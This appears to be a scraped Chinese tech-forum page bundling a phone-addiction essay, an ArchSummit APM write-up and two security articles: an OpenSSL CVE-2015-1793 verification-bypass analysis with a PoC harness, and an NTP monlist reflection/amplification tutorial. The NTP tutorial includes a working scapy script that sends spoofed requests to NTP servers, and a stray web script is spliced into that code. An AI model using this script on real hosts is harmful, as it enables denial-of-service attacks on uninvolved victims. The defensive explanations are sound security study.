多交流多阅读，淡化手机症
首先我们来看一个已经在网上疯传的视频，希望你有所启迪，由于本编辑器不支持此视频格式，请点击链接地址观看，我想你会有收获的。视频地址如下：
告别手机党
你中枪了吗
早晨起来第一件事是摸手机，晚上睡前最后一件事是放下手机，你中枪没？数据显示，全球人均6分半钟看一次手机，你中枪没？
悲催的我站着、坐着、躺着……全中枪。
不看不知道，一看吓一跳。全球总共有多少部智能手机？18.3亿。每位手机用户平均每天查看多少次手机？150次。换言之，除了休息时间外，每人平均每6分半钟查看一次手机。
微信、挂Q、发微博、看新闻……我和众多手机用户还没写申请书就入了"低头党"。中国手机网民规模达5亿， "低头党" 少说也上亿人，而我们光荣的共产党党员才8512.7万。
手机，成了生活的一部分。看手机，成了人生的一部分。
在上班走路，有看手机撞过人、撞过树、撞过电线杆。上班坐地铁，在拥挤的空间里拿出吃奶的力气左推右搡看手机。
不论蹲坑还是坐马桶，不管有无信号或是WIFI，我上厕所都要看手机。因为看手机，我糗事一大堆，双腿无数次麻木，手机多次掉到厕所里。
春晚一年不如一年，但必须得看，爸妈用电视看春晚，现在的我们用手机吐槽春晚。像得了强迫症一样，要是不看一眼手机，我们就觉得心里很不踏实。找不到手机就心烦意乱，手机没电很紧张，手机没信号很抓狂……，你中枪没？
其实，离开手机一整天或一段时间，生活也没有缺少什么。
"时间都去哪儿了，还没好好感受年轻就老了……"马年春晚，一曲《时间都去哪儿了》让人动容。我不禁要问问时间到底都去哪儿了？
先来看看我们习主席的答案："我个人的时间都去哪儿了？当然是都被工作占去了。现在，我经常能做到的是读书，读书已成了我的一种生活方式。"再看看我们手机党的答案，都被手机偷去啦，真是自惭形秽，多向习主席学习。
编者感言：
在这个互联网+的环境中，在这个信息时代，手机已经深深的影响到了我们的生活，成为了“必需品”。记得以前我们的童年是在玩泥巴、跳皮筋、跳房子、捉迷藏等游戏中和我们的小伙伴们开心的玩耍交流中度过的，而现在的孩子们在父母的影响下，也变成了手机党。现在都市生活中，父母陪孩子的时间越来越少，回家有时间也是盯着手机，在这种氛围下，让我们的孩子也受到了影响，没事在家就是打开平板电脑或者手机玩游戏，他们交朋友的方式更多的是通过玩游戏、互联网社交，而那种纯粹的交友方式淡化了。作为一个IT从业者，我想大家除了工作的时间，大部分时间也花在手机上吧？早晨起床，打开手机微信朋友圈先溜一圈，早晨的推文叫做“营养早餐”，美好的一天开始吗，到了中午快要到中午吃午饭了，这时候大家又开始打开手机，看朋友圈，看微信群，淡淡比，中午的推文叫做“自助餐”，到了晚上，朝九晚五的一天就要结束了，大家不约而同的打开了微博、微信、QQ等，哎哟，这个土豪又在发红包，真高兴，抢到了1.5，而这时候一波推文又开始了，晚餐前的推文叫做“晚餐甜点”，因为你下班了，有时间了，可以细细品味了。一天手机带你度过，我也是一名手机党，我不是说手机党有什么不好，而是说我们要看到它的优点，发扬优点，去其糟粕，吸其精华。在我们的微信朋友圈，确实有不少的干货、好的文章，这些都值得我们细细品读，如果你只是转发一下，大概看一下大体，这就失去了意义。我们应该向习大大学习，多读书、多和别人交流、多思考！收起阅读 »
浅谈基于 NTP 的反射和放大攻击
0x01 一些案例
最近一段时间 DDoS 攻击事件让基于 NTP 的 DDoS 攻击变得很火热，先看看下面的信息感受下：
“It was a very large DDoS targeting a CloudFlare customer,” Matthew Prince, CEO of Cloudflare told SecurityWeek. “We're still gathering the log data to get exact numbers but know it was well over 300Gbps and likely over 400Gbps,” Prince said.消息中称 CloudFlare 遭受了高达 400G 流量的 NTP 反射攻击，目前从网上各处的消息来看，众说纷纭，我们先不去考证消息的真伪，仅仅从攻击方法和流量方面来看着实体现出 NTP 反射攻击的威力。
“The method was NTP reflection, which is quickly replacing DNS reflection as the source of the largest attacks,” Prince said.
0x02 什么是 NTP
NTP 是网络时间协议（Network Time Protocol）的简称，干嘛用的呢？就是通过网络协议使计算机之前的时间同步化。
0x03 NTP 反射和放大攻击
那什么是 NTP 反射和放大攻击呢？如果听过 DNS 反射和放大攻击的话应该就会对这个比较容易理解了，协议不同，效果一样。
我们先来说说放射和放大攻击：
无论是基于 DNS 还是基于 NTP，其最终都是基于 UDP 协议的。在 UDP 协议中正常情况下客户端发送请求包到服务端，服务端返回响应包到客户端，但是 UDP 协议是面向无连接的，所以客户端发送请求包的源 IP 很容易进行伪造，当把源 IP 修改为受害者的 IP，最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。
放大攻击呢就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包，这样就达到了四两拨千斤的效果。
那我们接着来看什么是 NTP 的反射和放大攻击，NTP 包含一个 monlist 功能，也被成为 MON_GETLIST，主要用于监控 NTP 服务器，NTP 服务器响应 monlist 后就会返回与 NTP 服务器进行过时间同步的最后 600 个客户端的 IP，响应包按照每 6 个 IP 进行分割，最多有 100 个响应包。
我们可以通过 ntpdc 命令向一个 NTP 服务器发送 monlist 以及结合抓包来看下实际的效果。
pangzi@pangzi-mac ~$ ntpdc -n -c monlist x.x.x.x | wc -l
602
在上面的命令行中我们可以看到一次含有 monlist 的请求收到 602 行数据，除去头两行是无效数据外，正好是 600 个客户端 IP 列表，并且从上面图中的 wireshark 中我们也看到显示有 101 个 NTP 协议的包，除去一个请求包，正好是 100 个响应包。
从上图中我们可以看到请求包的大小为 234 字节，每个响应包为 482 字节，如果单纯按照这个数据我们可以计算出放大的倍数是：482*100/234 = 206 倍。其实如果通过编写攻击脚本，请求包会更小，这个倍数值会更大，这样算起来是不是蛮屌的。
0x04 如何利用
我们通过 scapy 实现一个简单的攻击脚本，代码如下：
#!/usr/bin/env python
# author: pangzi.me@gmail.com
/[i] [CDATA[ [/i]/!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/[i] ]]> [/i]/
import sys
from scapy.all import *
def attack(target, ntp_server):
send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))
if __name__ == "__main__":
if len(sys.argv) != 3:
sys.exit(1)
target = sys.argv[1]
ntp_server_file = sys.argv[2]
for ntp_server in open(ntp_server_file, "r"):
ntp_server = ntp_server.strip()
if ntp_server != "":
attack(target, ntp_server)
0x05 如何防御
我们可以分为两种情况进行防御
1.加固 NTP 服务
1. 把 NTP 服务器升级到 4.2.7p262.防御 NTP 反射和放大攻击
[list=1]
[*]关闭现在 NTP 服务的 monlist 功能，在ntp.conf配置文件中增加`disable monitor`选项[/*]
[*]在网络出口封禁 UDP 123 端口
1. 由于这种攻击的特征比较明显，所以可以通过网络层或者借助运营商实施 ACL 来防御[/*]不过我觉得如果流量真的够大，400G？800G？或者更大，又有谁能够防得住呢？[/*]
[*]使用防 DDoS 设备进行清洗
[/list]原文地址 收起阅读 »
OpenSSL-CVE-2015-1793漏洞分析
引言
OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞，其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。
360安全研究员au2o3t对该漏洞进行了原理上的分析，确认是一个绕过交叉链类型证书验证的高危漏洞，可以让攻击者构造证书来绕过交叉验证，用来形成诸如“中间人”等形式的攻击。
1.漏洞基本原理
直接看最简单的利用方法（利用方法包括但不限于此）：
攻击者从一公共可信的 CA （C）处签得一证书 X，并以此证书签发另一证书 V（含对X的交叉引用），那么攻击者发出的证书链 V, R （R为任意证书）对信任 C 的用户将是可信的。
显然用户对 V, R 链的验证会返回失败。
对不支持交叉链认证的老版本来说，验证过程将以失败结束。
对支持交叉认证的版本，则将会尝试构建交叉链 V, X, C，并继续进行验证。
虽然 V, X, C 链能通过可信认证，但会因 X 的用法不包括 CA 而导致验证失败。
但在 openssl-1.0.2c 版本，因在对交叉链的处理中，对最后一个不可信证书位置计数的错误，导致本应对 V, X 记为不可信并验证，错记为了仅对 V 做验证，而没有验证攻击者的证书 X，返回验证成功。
2.具体漏洞分析
漏洞代码位于文件：openssl-1.0.2c/crypto/x509/x509_vfy.c
函数：X509_verify_cert() 中
第 392 行：“ctx->last_untrusted–;”
对问题函数 X509_verify_cert 的简单分析：
（ 为方便阅读，仅保留与证书验证强相关的代码，去掉了诸如变量定义、错误处理、资源释放等非主要代码）
问题在于由 <1> 处加入颁发者时及 <2> 处验证（颁发者）后，证书链计数增加，但 最后一个不可信证书位置计数 并未增加，
而在 <4> 处去除过程中 最后一个不可信证书位置计数 额外减少了，导致后面验证过程中少验。
（上述 V, X, C 链中应验 V, X 但少验了 X）
代码分析如下：
int X509_verify_cert(X509_STORE_CTX *ctx)官方的解决方法是在 <5> 处重新计算 最后一个不可信证书位置计数 的值为链长：
{
// 将 ctx->cert 做为不信任证书压入需验证链 ctx->chain
// STACK_OF(X509) *chain 将被构造为证书链，并最终送到 internal_verify() 中去验证
sk_X509_push(ctx->chain,ctx->cert);
// 当前链长度（==1）
num = sk_X509_num(ctx->chain);
// 取出第 num 个证书
x = sk_X509_value(ctx->chain, num - 1);
// 存在不信任链则复制之
if (ctx->untrusted != NULL
&& (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
// 预设定的最大链深度（100）
depth = param->depth;
// 构造需验证证书链
for (;;) {
// 超长退出
if (depth < num)
break;
// 遇自签退出（链顶）
if (cert_self_signed(x))
break;
if (ctx->untrusted != NULL) {
xtmp = find_issuer(ctx, sktmp, x);
// 当前证书为不信任颁发者（应需CA标志）颁发
if (xtmp != NULL) {
// 则加入需验证链
if (!sk_X509_push(ctx->chain, xtmp)) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
(void)sk_X509_delete_ptr(sktmp, xtmp);
// 最后一个不可信证书位置计数 自增1
ctx->last_untrusted++;
x = xtmp;
num++;
continue;
}
}
break;
}
do {
i = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, i - 1);
// 若最顶证书是自签的
if (cert_self_signed(x)) {
// 若需验证链长度 == 1
if (sk_X509_num(ctx->chain) == 1) {
// 在可信链中查找其颁发者（找自己）
ok = ctx->get_issuer(&xtmp, ctx, x);
// 没找到或不是相同证书
if ((ok <= 0) || X509_cmp(x, xtmp)) {
ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
ctx->current_cert = x;
ctx->error_depth = i - 1;
if (ok == 1)
X509_free(xtmp);
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
// 找到
} else {
X509_free(x);
x = xtmp;
// 入到可信链
(void)sk_X509_set(ctx->chain, i - 1, x);
// 最后一个不可信证书位置计数 置0
ctx->last_untrusted = 0;
}
// 最顶为自签证书 且 证书链长度>1
} else {
// 弹出
chain_ss = sk_X509_pop(ctx->chain);
// 最后一个不可信证书位置计数 自减
ctx->last_untrusted--;
num--;
j--;
// 保持指向当前最顶证书
x = sk_X509_value(ctx->chain, num - 1);
}
}
// <1>
// 继续构造证书链（加入颁发者）
for (;;) {
// 自签退出
if (cert_self_signed(x))
break;
// 在可信链中查找其颁发者
ok = ctx->get_issuer(&xtmp, ctx, x);
// 出错
if (ok < 0)
return ok;
// 没找到
if (ok == 0)
break;
x = xtmp;
// 将不可信证书的颁发者（证书）加入需验证证书链
if (!sk_X509_push(ctx->chain, x)) {
X509_free(xtmp);
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
return 0;
}
num++;
}
// <2>
// 验证 for(;;) 中加入的颁发者链
i = check_trust(ctx);
if (i == X509_TRUST_REJECTED)
goto end;
retry = 0;
// <3>
// 检查交叉链
if (i != X509_TRUST_TRUSTED
&& !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
&& !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
while (j-- > 1) {
xtmp2 = sk_X509_value(ctx->chain, j - 1);
// 其实得到一个“看似合理”的证书就返回，这里实际上仅仅根据 CN域 查找颁发者
ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
if (ok < 0)
goto end;
// 存在交叉链
if (ok > 0) {
X509_free(xtmp);
// 去除交叉链以上部分
while (num > j) {
xtmp = sk_X509_pop(ctx->chain);
X509_free(xtmp);
num--;
// <4>
// 问题所在
ctx->last_untrusted--;
}
// <5>
retry = 1;
break;
}
}
}
} while (retry);
……
}
ctx->last_untrusted = sk_X509_num(ctx->chain);
并去掉 <4> 处的 最后一个不可信证书位置计数 自减运算（其实去不去掉都无所谓）。
另一个解决办法可以是在 <1> <2> 后，在 <3> 处重置 最后一个不可信证书位置计数，加一行：
ctx->last_untrusted = num;
这样 <4> 处不用删除，而逻辑也是合理并前后一致的。
3.漏洞验证
笔者修改了部分代码并做了个Poc 。修改代码：
int X509_verify_cert(X509_STORE_CTX *ctx)Poc:
{
X509 [i]x, [/i]xtmp, [i]xtmp2, [/i]chain_ss = NULL;
int bad_chain = 0;
X509_VERIFY_PARAM *param = ctx->param;
int depth, i, ok = 0;
int num, j, retry;
int ([i]cb) (int xok, X509_STORE_CTX [/i]xctx);
STACK_OF(X509) *sktmp = NULL;
if (ctx->cert == NULL) {
X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY);
return -1;
}
cb = ctx->verify_cb;
/*
* first we make sure the chain we are going to build is present and that
* the first entry is in place
*/
if (ctx->chain == NULL) {
if (((ctx->chain = sk_X509_new_null()) == NULL) ||
(!sk_X509_push(ctx->chain, ctx->cert))) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509);
ctx->last_untrusted = 1;
}
/[i] We use a temporary STACK so we can chop and hack at it [/i]/
if (ctx->untrusted != NULL
&& (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
num = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, num - 1);
depth = param->depth;
for (;;) {
/[i] If we have enough, we break [/i]/
if (depth < num)
break; /* FIXME: If this happens, we should take
* note of it and, if appropriate, use the
* X509_V_ERR_CERT_CHAIN_TOO_LONG error code
[i] later. [/i]/
/[i] If we are self signed, we break [/i]/
if (cert_self_signed(x))
break;
/*
* If asked see if we can find issuer in trusted store first
*/
if (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) {
ok = ctx->get_issuer(&xtmp, ctx, x);
if (ok < 0)
return ok;
/*
* If successful for now free up cert so it will be picked up
* again later.
*/
if (ok > 0) {
X509_free(xtmp);
break;
}
}
/[i] If we were passed a cert chain, use it first [/i]/
if (ctx->untrusted != NULL) {
xtmp = find_issuer(ctx, sktmp, x);
if (xtmp != NULL) {
if (!sk_X509_push(ctx->chain, xtmp)) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
(void)sk_X509_delete_ptr(sktmp, xtmp);
ctx->last_untrusted++;
x = xtmp;
num++;
/*
* reparse the full chain for the next one
*/
continue;
}
}
break;
}
/[i] Remember how many untrusted certs we have [/i]/
j = num;
/*
* at this point, chain should contain a list of untrusted certificates.
* We now need to add at least one trusted one, if possible, otherwise we
* complain.
*/
do {
/*
* Examine last certificate in chain and see if it is self signed.
*/
i = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, i - 1);
if (cert_self_signed(x)) {
/[i] we have a self signed certificate [/i]/
if (sk_X509_num(ctx->chain) == 1) {
/*
* We have a single self signed certificate: see if we can
* find it in the store. We must have an exact match to avoid
* possible impersonation.
*/
ok = ctx->get_issuer(&xtmp, ctx, x);
if ((ok <= 0) || X509_cmp(x, xtmp)) {
ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
ctx->current_cert = x;
ctx->error_depth = i - 1;
if (ok == 1)
X509_free(xtmp);
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
} else {
/*
* We have a match: replace certificate with store
* version so we get any trust settings.
*/
X509_free(x);
x = xtmp;
(void)sk_X509_set(ctx->chain, i - 1, x);
ctx->last_untrusted = 0;
}
} else {
/*
* extract and save self signed certificate for later use
*/
chain_ss = sk_X509_pop(ctx->chain);
ctx->last_untrusted--;
num--;
j--;
x = sk_X509_value(ctx->chain, num - 1);
}
}
/[i] We now lookup certs from the certificate store [/i]/
for (;;) {
/[i] If we have enough, we break [/i]/
if (depth < num)
break;
/[i] If we are self signed, we break [/i]/
if (cert_self_signed(x))
break;
ok = ctx->get_issuer(&xtmp, ctx, x);
if (ok < 0)
return ok;
if (ok == 0)
break;
x = xtmp;
if (!sk_X509_push(ctx->chain, x)) {
X509_free(xtmp);
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
return 0;
}
num++;
}
/[i] we now have our chain, lets check it... [/i]/
i = check_trust(ctx);
/[i] If explicitly rejected error [/i]/
if (i == X509_TRUST_REJECTED)
goto end;
/*
* If it's not explicitly trusted then check if there is an alternative
* chain that could be used. We only do this if we haven't already
* checked via TRUSTED_FIRST and the user hasn't switched off alternate
* chain checking
*/
retry = 0;
// <1>
//ctx->last_untrusted = num;
if (i != X509_TRUST_TRUSTED
&& !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
&& !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
while (j-- > 1) {
xtmp2 = sk_X509_value(ctx->chain, j - 1);
ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
if (ok < 0)
goto end;
/[i] Check if we found an alternate chain [/i]/
if (ok > 0) {
/*
* Free up the found cert we'll add it again later
*/
X509_free(xtmp);
/*
* Dump all the certs above this point - we've found an
* alternate chain
*/
while (num > j) {
xtmp = sk_X509_pop(ctx->chain);
X509_free(xtmp);
num--;
ctx->last_untrusted--;
}
retry = 1;
break;
}
}
}
} while (retry);
printf(" num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num(ctx->chain) );
/*
* If not explicitly trusted then indicate error unless it's a single
* self signed certificate in which case we've indicated an error already
* and set bad_chain == 1
*/
if (i != X509_TRUST_TRUSTED && !bad_chain) {
if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {
if (ctx->last_untrusted >= num)
ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;
else
ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;
ctx->current_cert = x;
} else {
sk_X509_push(ctx->chain, chain_ss);
num++;
ctx->last_untrusted = num;
ctx->current_cert = chain_ss;
ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;
chain_ss = NULL;
}
ctx->error_depth = num - 1;
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
}
printf("flag=1\n");
/[i] We have the chain complete: now we need to check its purpose [/i]/
ok = check_chain_extensions(ctx);
if (!ok)
goto end;
printf("flag=2\n");
/[i] Check name constraints [/i]/
ok = check_name_constraints(ctx);
if (!ok)
goto end;
printf("flag=3\n");
ok = check_id(ctx);
if (!ok)
goto end;
printf("flag=4\n");
/[i] We may as well copy down any DSA parameters that are required [/i]/
X509_get_pubkey_parameters(NULL, ctx->chain);
/*
* Check revocation status: we do this after copying parameters because
* they may be needed for CRL signature verification.
*/
ok = ctx->check_revocation(ctx);
if (!ok)
goto end;
printf("flag=5\n");
i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain,
ctx->param->flags);
if (i != X509_V_OK) {
ctx->error = i;
ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth);
ok = cb(0, ctx);
if (!ok)
goto end;
}
printf("flag=6\n");
/[i] At this point, we have a chain and need to verify it [/i]/
if (ctx->verify != NULL)
ok = ctx->verify(ctx);
else
ok = internal_verify(ctx);
if (!ok)
goto end;
printf("flag=7\n");
#ifndef OPENSSL_NO_RFC3779
/[i] RFC 3779 path validation, now that CRL check has been done [/i]/
ok = v3_asid_validate_path(ctx);
if (!ok)
goto end;
ok = v3_addr_validate_path(ctx);
if (!ok)
goto end;
#endif
printf("flag=8\n");
/[i] If we get this far evaluate policies [/i]/
if (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK))
ok = ctx->check_policy(ctx);
if (!ok)
goto end;
if (0) {
end:
X509_get_pubkey_parameters(NULL, ctx->chain);
}
if (sktmp != NULL)
sk_X509_free(sktmp);
if (chain_ss != NULL)
X509_free(chain_ss);
printf("ok=%d\n", ok );
return ok;
}
//将代码中 X509_verify_cert() 函数加入输出信息如下：
//里头的证书文件自己去找一个，这个不提供了
//
#include
#include
#include
#include
#include
STACK_OF(X509) [i]load_certs_from_file(const char [/i]file)
{
STACK_OF(X509) *certs;
BIO *bio;
X509 *x;
bio = BIO_new_file( file, "r");
certs = sk_X509_new_null();
do
{
x = PEM_read_bio_X509(bio, NULL, 0, NULL);
sk_X509_push(certs, x);
}while( x != NULL );
return certs;
}
void test(void)
{
X509 *x = NULL;
STACK_OF(X509) *untrusted = NULL;
BIO *bio = NULL;
X509_STORE_CTX *sctx = NULL;
X509_STORE *store = NULL;
X509_LOOKUP *lookup = NULL;
store = X509_STORE_new();
lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );
X509_LOOKUP_load_file(lookup, "roots.pem", X509_FILETYPE_PEM);
untrusted = load_certs_from_file("untrusted.pem");
bio = BIO_new_file("bad.pem", "r");
x = PEM_read_bio_X509(bio, NULL, 0, NULL);
sctx = X509_STORE_CTX_new();
X509_STORE_CTX_init(sctx, store, x, untrusted);
X509_verify_cert(sctx);
}
int main(void)
{
test();
return 0;
}
编译，以伪造证书测试，程序输出信息为：
num=1, real-num=3
flag=1
flag=2
flag=3
flag=4
flag=5
flag=6
flag=7
flag=8
ok=1
认证成功
将 <1> 处注释代码去掉，编译，再以伪造证书测试，程序输出信息为：
num=3, real-num=3
flag=1
ok=0
认证失败
4.安全建议
建议使用受影响版本（OpenSSL 1.0.2b/1.0.2c 和 OpenSSL 1.0.1n/1.0.1o）的 产品或代码升级OpenSSL到最新版本 收起阅读 »
ArchSummit全球架构师峰会见闻之APM
引言：
近几年来是一个创客的时代，我们每天都能在各种不同的地方看到不同的人在各种不同的产品，国内已形成一种创业的热潮。媒体捧吹，政府政策支持，这年头不说自己是创业者都不好意思创业。就拿北京来说，不知道一天内有多少家创业公司兴起，有多少家创业公司倒闭。
从2011年开始，大数据逐渐进入互联网热词行列。2012年美国硅谷投资的最热门主题就是大数据，大数据的时代的到来也造就了不少创业公司。国外的比如，大数据业务分析公司Splunk、数据服务公司Metamarkets、数据可视化公司Tableau、大数据分析公司ParAccel等。当大数据这个热词涌入国内的时候也促进国内的互联网巨头们也在纷纷布局切分蛋糕，比如阿里、百度、腾讯、金山，还有在线教育的小象学院和早期成立的数据分析专业社区炼数成金。
进入到2013年莫过于最火的就是云计算和虚拟化技术，作为技术人员熟悉的kvm，vm，esi，cloudstack，openstack等，逐渐进入到互联网技术人员的视野。其中也不乏不少创业者看到了方向。比如基于openstack技术成立于2013年的OpenStack开源云计算公司UnitedStack，还有基于基于cloudstack市场的天云趋势等。
2014年大家听得最多的莫过于devops和Iass这两个词语吧。devops让我们的运维同学从脚本时代走进了coding时代，因为现在越来越多的公司都要求你会python或者其他的语言，不只简简单单的会个shell脚本就行了，因为互联网在进步。从云的概念进入中国市场，越来越多的创业者看到了中国这个行业的大市场，在国内做Iass服务的，有我们熟知的阿里云，腾讯云，ucloud，青云等。
从2014年下半年到2015年互联网创客，熟知的应该就是基于Docker容器技术的创业者们，比如DAOCLOUD，云雀，数人科技，希云，Tenxcloud等，同样APM这个词也逐渐成为创客们中的热词了，在国外有我们熟知的APM的创业公司比如：Compuware、iMaster、New Relic、AppDynamics等，而国内的创业者们也看到了中国这个大市场，大蛋糕，也不乏创业公司比如：云智慧、OneAPM、听云等。
APM是什么鬼
应用性能管理（Application Performance Management）是一个比较新的网络管理方向，主要指对企业的关键业务应用进行监测、优化，提高企业应用的可靠性和质量，保证用户得到良好的服务，降低IT总拥有成本(TCO)。使用全业务链的敏捷APM监控，可使一个企业的关键业务应用的性能更强大，可以提高竞争力，并取得商业成功，因此，加强应用性能管理（APM）可以产生巨大商业利益。如果你还不了解APM是什么东东，请你移驾这里一张图告诉你什么是APM，想知道什么是真正的APM看这里。
AMP见闻之云智慧
2015的ArchSummit架构师大会可谓是空前盛况，有将近近千名的架构师们参加。不乏百度、AWS、小米、华为、腾讯等大公司的架构师参加，也有Ucloud、青云、DAOCLOUD、云智慧等新型创业公司的加盟。
作为一个运维人员我可能最关心的就是我们线上的架构应该怎么部署合理和现有架构的性能在哪里的问题，所以我这次特别关心了一下APM主题的演讲，所以在这里我为大家介绍一下我在大会看到的云智慧 高级架构师 高驰涛(Neeke)演讲的"APM与高性能架构"
首先我先介绍一下他在PPT中展示演讲的三个点:性能瓶颈----->瓶颈是谁----->怎么解决 ，那下面我就逐一介绍。
性能瓶颈
1.用户体验
不管是一个网站、产品、衣服，用户体验是很重要的，因为只有公司的产品有了用户，这家公司才有前景，才有收益。我之前一个同学在小米的应用推广平台做运维，有一天他跟我说，他们今天平台的日流水要破千万了，可想而知，一个产品只有用户才是你最大的支柱，只有用户体验好了，才能留住用户，你的产品才能体现出更高的价值。所以雷军说过要把产品做到极致，而这个极致的背后就是用户体验。
而用户体验的改善我们需要去从不同的角度去分析，就如上图所示的一样，从设计方面，我们设计出更符合现在用户更喜欢的UI的风格界面，从服务方面，我们需要做好技术售后的服务和海底捞式的优服务，从产品方面我们要把产品做到极致，从性能方面，我们要让用户体验的更爽，让他的抱怨更少，从架构方面，我们应该拿出GEEK的精神去部署，从交互方面，我们应该做到简约明了，而这些并不是每个公司都能做到的，我们可以通过第三方的SaaS提供商来解决这些，可以促进我们更快、更高效的解决这些问题，当这些问题不存在了，作为工程师的我们就可以坐到办公室里面喝茶了，而不是天天焦急频繁迭代去改善我们产品的这些问题，当然这是一个最理想的状态，我想不久的将来会是这么一个状态，因为我们就在做这件事。
2.网站架构模型
作为技术人员我们都知道网站的典型架构模型如上所示，随着业务增长，架构也会越来越大，关系的方面很多有网站的高可用性、数据的一致性、数据存储和搜索等等一系列的问题。随着这些问题的不断产生、扩张，你觉得作为技术人员的你，还有时间喝茶吗，公司只会不停的去招人，不停的去解决这些问题，从而导致你的网站、产品的质量和体验值都会下降，所以应用系统性能对用户的体验是至关重要的！
3.应用系统性能
说起流氓这个词，我想流氓会武术，谁都挡不住哦。但是在这个创客的时代，创业者们本来就是"流氓"，因为创业就是这样的，你成功了你就是预言家，失败了你就是在催牛逼。
前不久淘宝、携程相继出现故障，我想对他们自己的业务带来了不小的影响，淘宝还好，我相信淘宝确时是因为光缆破坏导致的故障，可怜的是携程，整个业务故障时间整整有半天之久，这个对用户的体验是非常不好的。也会造成用户对公司的信任，我的个人信息是不是会被暴露等一些问题，所以说应用的性能确实很重要，直接影响到了公司财政收入啊。难怪携程故障，老板会发出话来说，谁能给我最快的速度解决问题，奖励100万呢！
瓶颈是谁
1.环境分析
一个公司由不同的部门组成，又我们的技术客服、运维、开发、市场等组成。作为一个互联网公司，当公司发展的道路上，遇到了阻力，我们产品的应用性能问题，到底是谁负责，谁来解决呢？通常我们一般都会先想到我们可爱的开发者同学们身上，然后我们开发的同学就不停的加班，解决bug和问题，但是最后效果并不是很好。就如下图所示：
那就让我们来分析分析应用的环境吧
没错，如上图所示应用就是一个多技术栈复合的整合环境。我想大家看到这么一个细化的环境，你让我们可爱的开发同学，怎么去发现问题点，即使花了大部分时间找出的问题所在，这么一个环境一个人可能完成吗，需要多个开发同学配合修复，但是等你花了大部分时间来分析你应用的时候，你公司的业务进度也是停滞不前的，蛋糕也许就被别人切走了！所以这就是APM的价值所在，透视宝则孕育而生
2.坑在哪里
问题出现了，作为技术人员就会去找坑，但是业务环境和系统环境都可能有问题，所以找坑成为一种苦恼，喝茶的时间自然没有，我们需要从前端cdn层、web层、缓存存、数据层等方面着手一一去分析，但是最后你不一定可以准确的找到答案。就拿我们线上一次事件来说吧，我们的业务任务调度出现了瓶颈，我们足足花了三天之久的时间，最后才有80%的把握确认瓶颈出现在缓存系统redis上面，虽然已经找到了问题所在，最后重启redis，把资源释放了，最后暂时把问题解决了，但是最后这种问题还是会发生了，所以最后我们只好扩展redis，最后选择用来豌豆荚开源出来的分布式redis系统codis得于解决。从这个案例上来看，可想而知，查找坑是多嘛痛苦的事情啊，这让我想起了一句歌词"多么痛的领悟"! 而APM正好可以帮你解决你的痛苦。
怎么解决
那我们到底应该怎么去发现和解决呢？
1.优化方案
我们的分享人给出了如上图所示的一些建议。无可厚非，我们在设计架构和语言程序的选择上面，头期一定要多考虑到性能问题和可扩展和高可用的问题，要不后期随着产品和业务的增长你只能去找坑，填坑了！
对于监控大家当然不陌生，监控是作为一个业务增长保证的基础，因为在业务增长的同时，我们要未雨绸缪的考虑到一些性能方面的问题，而监控正好可以我们很好的做个预警工作，可以让我们有足够充裕的时间来解决问题，不至于等到问题出现，来临时抱佛脚，着急的处理。而云智慧他们有这个优势，因为他们还有一款产品监控宝, 我想大家应该都听说过吧。
2.发现解决
